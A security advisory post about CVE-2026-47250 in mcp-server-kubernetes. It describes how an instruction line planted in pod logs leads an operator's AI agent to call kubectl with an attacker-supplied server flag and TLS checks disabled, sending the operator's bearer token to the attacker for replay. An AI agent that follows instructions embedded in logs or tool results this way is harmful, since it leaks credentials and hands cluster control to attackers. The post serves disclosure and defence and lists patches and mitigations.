al-ice.ai

CVE-2026-47250 — MCP Server Kubernetes Bearer Token Exfiltration

Security by al-ice.ai Editorial

AI relevance: The vulnerability weaponizes indirect prompt injection through Kubernetes pod logs to hijack an operator's AI agent and steal their cluster credentials — a textbook example of how MCP-connected agents amplify cloud-native risks into full cluster takeover.

  • CVE-2026-47250 affects mcp-server-kubernetes, an MCP server that gives AI agents kubectl access to Kubernetes clusters via structured tool calls.
  • The kubectl_generic tool passes user-supplied flags directly to kubectl without any allowlist or validation.
  • An attacker with limited cluster access (e.g., pod-deploy permissions, not cluster-admin) can plant a crafted JSON instruction line in application log output.
  • When an operator with a privileged kubeconfig uses an AI agent to read those logs and invokes kubectl_generic, the agent follows the injected instruction and calls kubectl with --server=https://attacker.example.com and --insecure-skip-tls-verify=true.
  • kubectl sends all API requests — including the Authorization: Bearer <token> header from the operator's kubeconfig — to the attacker's endpoint, exfiltrating the full bearer token.
  • The captured token can be replayed directly against the real Kubernetes API server, granting the attacker the complete RBAC permissions of the operator's service account.
  • The token exfiltration chain was confirmed end-to-end without a cluster; the full attack including indirect prompt injection via live pod logs was validated using a kind cluster and Claude Haiku as the agent.
  • Fixed in mcp-server-kubernetes v3.7.0. The patch introduces flag allowlisting to prevent arbitrary parameter injection.

Why it matters

This is the first publicly demonstrated chain combining three attack surfaces — indirect prompt injection, MCP tool-call flag injection, and Kubernetes credential replay — into a single, automated exploit path. Any AI operator or developer using MCP-connected kubectl tools to manage clusters is at risk if they interact with untrusted log content, which is unavoidable in day-to-day K8s operations. The attacker needs no cluster-admin access; any pod-deploy permission is sufficient to plant the trigger.

What to do

  • Upgrade mcp-server-kubernetes to v3.7.0 or later immediately.
  • Audit your MCP server configurations — any tool that passes raw user input to kubectl, helm, or similar CLIs should be reviewed for flag-injection risk.
  • Rotate Kubernetes service-account tokens if you have used mcp-server-kubernetes with untrusted workloads.
  • Apply the principle of least privilege to kubeconfigs used with AI agent MCP tools — never pass cluster-admin credentials.

Sources